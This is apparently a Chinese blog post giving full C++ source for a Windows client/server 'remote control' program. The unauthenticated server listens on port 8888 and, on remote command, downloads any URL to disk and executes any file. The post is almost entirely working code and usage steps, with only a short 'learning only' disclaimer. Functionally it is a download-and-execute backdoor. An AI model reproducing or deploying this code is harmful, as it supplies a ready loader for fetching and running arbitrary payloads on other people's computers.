C++ 远程控制文件下载与执行程序

程序分为客户端和服务端两部分,客户端可以发送下载和执行命令,服务端接收命令并执行相应操作。

服务端代码

#include <winsock2.h>
#include <windows.h>
#include <urlmon.h>
#include <iostream>
#include <string>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")

#define DEFAULT_PORT 8888
#define BUFFER_SIZE 4096

// 下载文件函数
bool DownloadFile(const std::string& url, const std::string& savePath) {
    if (URLDownloadToFileA(NULL, url.c_str(), savePath.c_str(), 0, NULL) == S_OK) {
        std::cout << "文件下载成功: " << savePath << std::endl;
        return true;
    } else {
        std::cout << "文件下载失败: " << url << std::endl;
        return false;
    }
}

// 执行文件函数
bool ExecuteFile(const std::string& filePath) {
    HINSTANCE result = ShellExecuteA(NULL, "open", filePath.c_str(), NULL, NULL, SW_SHOWNORMAL);
    if ((int)result > 32) {
        std::cout << "文件执行成功: " << filePath << std::endl;
        return true;
    } else {
        std::cout << "文件执行失败: " << filePath << std::endl;
        return false;
    }
}

// 处理客户端命令
void HandleClientCommand(SOCKET clientSocket) {
    char buffer[BUFFER_SIZE] = {0};
    int bytesReceived = recv(clientSocket, buffer, BUFFER_SIZE, 0);
    
    if (bytesReceived > 0) {
        std::string command(buffer);
        std::cout << "收到命令: " << command << std::endl;
        
        if (command.find("download ") == 0) {
            // 下载命令格式: download [URL] [SavePath]
            size_t urlStart = command.find(' ') + 1;
            size_t pathStart = command.find(' ', urlStart) + 1;
            
            std::string url = command.substr(urlStart, pathStart - urlStart - 1);
            std::string savePath = command.substr(pathStart);
            
            bool success = DownloadFile(url, savePath);
            std::string response = success ? "下载成功" : "下载失败";
            send(clientSocket, response.c_str(), response.length(), 0);
        } 
        else if (command.find("execute ") == 0) {
            // 执行命令格式: execute [FilePath]
            std::string filePath = command.substr(8);
            
            bool success = ExecuteFile(filePath);
            std::string response = success ? "执行成功" : "执行失败";
            send(clientSocket, response.c_str(), response.length(), 0);
        }
        else {
            std::string response = "未知命令";
            send(clientSocket, response.c_str(), response.length(), 0);
        }
    }
    
    closesocket(clientSocket);
}

int main() {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "WSAStartup失败" << std::endl;
        return 1;
    }

    SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (serverSocket == INVALID_SOCKET) {
        std::cerr << "创建套接字失败" << std::endl;
        WSACleanup();
        return 1;
    }

    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(DEFAULT_PORT);
    serverAddr.sin_addr.s_addr = INADDR_ANY;

    if (bind(serverSocket, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        std::cerr << "绑定套接字失败" << std::endl;
        closesocket(serverSocket);
        WSACleanup();
        return 1;
    }

    if (listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) {
        std::cerr << "监听失败" << std::endl;
        closesocket(serverSocket);
        WSACleanup();
        return 1;
    }

    std::cout << "服务端启动,监听端口: " << DEFAULT_PORT << std::endl;

    while (true) {
        SOCKET clientSocket = accept(serverSocket, NULL, NULL);
        if (clientSocket == INVALID_SOCKET) {
            std::cerr << "接受连接失败" << std::endl;
            continue;
        }

        std::cout << "客户端已连接" << std::endl;
        HandleClientCommand(clientSocket);
    }

    closesocket(serverSocket);
    WSACleanup();
    return 0;
}

客户端代码

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <string>
#pragma comment(lib, "ws2_32.lib")

#define DEFAULT_PORT 8888
#define BUFFER_SIZE 4096

void SendCommand(const std::string& serverIP, const std::string& command) {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "WSAStartup失败" << std::endl;
        return;
    }

    SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (clientSocket == INVALID_SOCKET) {
        std::cerr << "创建套接字失败" << std::endl;
        WSACleanup();
        return;
    }

    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(DEFAULT_PORT);
    serverAddr.sin_addr.s_addr = inet_addr(serverIP.c_str());

    if (connect(clientSocket, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        std::cerr << "连接服务器失败" << std::endl;
        closesocket(clientSocket);
        WSACleanup();
        return;
    }

    send(clientSocket, command.c_str(), command.length(), 0);

    char buffer[BUFFER_SIZE] = {0};
    int bytesReceived = recv(clientSocket, buffer, BUFFER_SIZE, 0);
    if (bytesReceived > 0) {
        std::cout << "服务器响应: " << buffer << std::endl;
    }

    closesocket(clientSocket);
    WSACleanup();
}

int main() {
    std::string serverIP;
    std::cout << "输入服务器IP地址: ";
    std::cin >> serverIP;

    while (true) {
        std::cout << "\n选择操作:\n";
        std::cout << "1. 下载文件\n";
        std::cout << "2. 执行文件\n";
        std::cout << "3. 退出\n";
        std::cout << "输入选项: ";

        int choice;
        std::cin >> choice;
        std::cin.ignore(); // 清除输入缓冲区

        switch (choice) {
            case 1: {
                std::string url, savePath;
                std::cout << "输入下载URL: ";
                std::getline(std::cin, url);
                std::cout << "输入保存路径: ";
                std::getline(std::cin, savePath);
                
                std::string command = "download " + url + " " + savePath;
                SendCommand(serverIP, command);
                break;
            }
            case 2: {
                std::string filePath;
                std::cout << "输入要执行的文件路径: ";
                std::getline(std::cin, filePath);
                
                std::string command = "execute " + filePath;
                SendCommand(serverIP, command);
                break;
            }
            case 3:
                return 0;
            default:
                std::cout << "无效选项" << std::endl;
        }
    }

    return 0;
}

功能说明

  1. 文件下载功能

    • 服务端使用URLDownloadToFile函数从指定 URL 下载文件

    • 客户端发送download [URL] [SavePath]格式的命令

  2. 文件执行功能

    • 服务端使用ShellExecute函数执行指定路径的文件

    • 客户端发送execute [FilePath]格式的命令

  3. 网络通信

    • 使用 Winsock 库实现 TCP/IP 通信

    • 默认监听端口为 8888

使用方法

  1. 先运行服务端程序(等待客户端连接)

  2. 运行客户端程序,输入服务端的 IP 地址

  3. 在客户端选择操作:

    • 下载文件:输入 URL 和保存路径

    • 执行文件:输入要执行的文件路径

注意事项

  1. 此代码仅用于学习和研究目的,请勿用于非法用途

  2. 在实际应用中应考虑添加身份验证和加密通信

  3. 服务端需要允许防火墙通过指定端口的连接

  4. 下载和执行操作需要相应的系统权限

这个简单的远程控制程序展示了基本的文件下载和执行功能,删除了部分代码,不要用于非法用途。


C++ 远程控制文件下载与执行程序
https://uniomo.com/archives/c-yuan-cheng-kong-zhi-wen-jian-xia-zai-yu-zhi-xing-cheng-xu
作者
雨落秋垣
发布于
2025年10月19日
许可协议